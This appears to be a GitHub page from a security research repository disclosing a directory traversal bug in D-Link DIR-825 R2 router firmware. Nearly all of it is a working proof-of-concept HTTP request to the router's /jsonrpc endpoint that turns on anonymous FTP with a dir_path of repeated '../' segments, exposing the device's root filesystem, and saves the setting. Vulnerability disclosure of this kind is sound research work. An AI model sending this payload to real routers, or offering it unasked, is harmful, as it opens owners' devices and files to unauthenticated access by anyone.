Code | Issues | Pull requests | Actions | Projects | Security | Insights

main

Hardware-IoT / d-link_dir-825_R2.pdf

Quadron-Research-Lab Add files via upload | History

1 contributor

305 KB

D-Link DIR-825 AC1200

hardware version: R2

firmware version: 2022.01.13-13.48_DIR_825AC_G1A_EU_1.0.9_release

directory traversal bug.


```
POST /jsonrpc HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/plain, */*
Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Digest username="admin", realm="domain", nonce="6279063", uri="/jsonrpc", response="386dd8aa34d45ef82ee280da901b1d55", qop=auth
Content-Length: 196
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/admin/index.html
Cookie: compact_display_state=false; user_ip=0.0.0.0; device_mode=ap; device-session-id=e7860689f2b62e8deb17c20c4e17272d; user_login=admin

{
  "jsonrpc":"2.0",
  "method":"write",
  "params":{
    "id":155,
    "pos":-1,
    "data":{
      "ftpd":{
        "anonymous":true,
        "dir_path":"/usb1_1/.ReadyDLNA/../../../../../../../../",
        "enable":true,
        "port":21
      }
    },
    "save":true
  },
  "id":17
}
```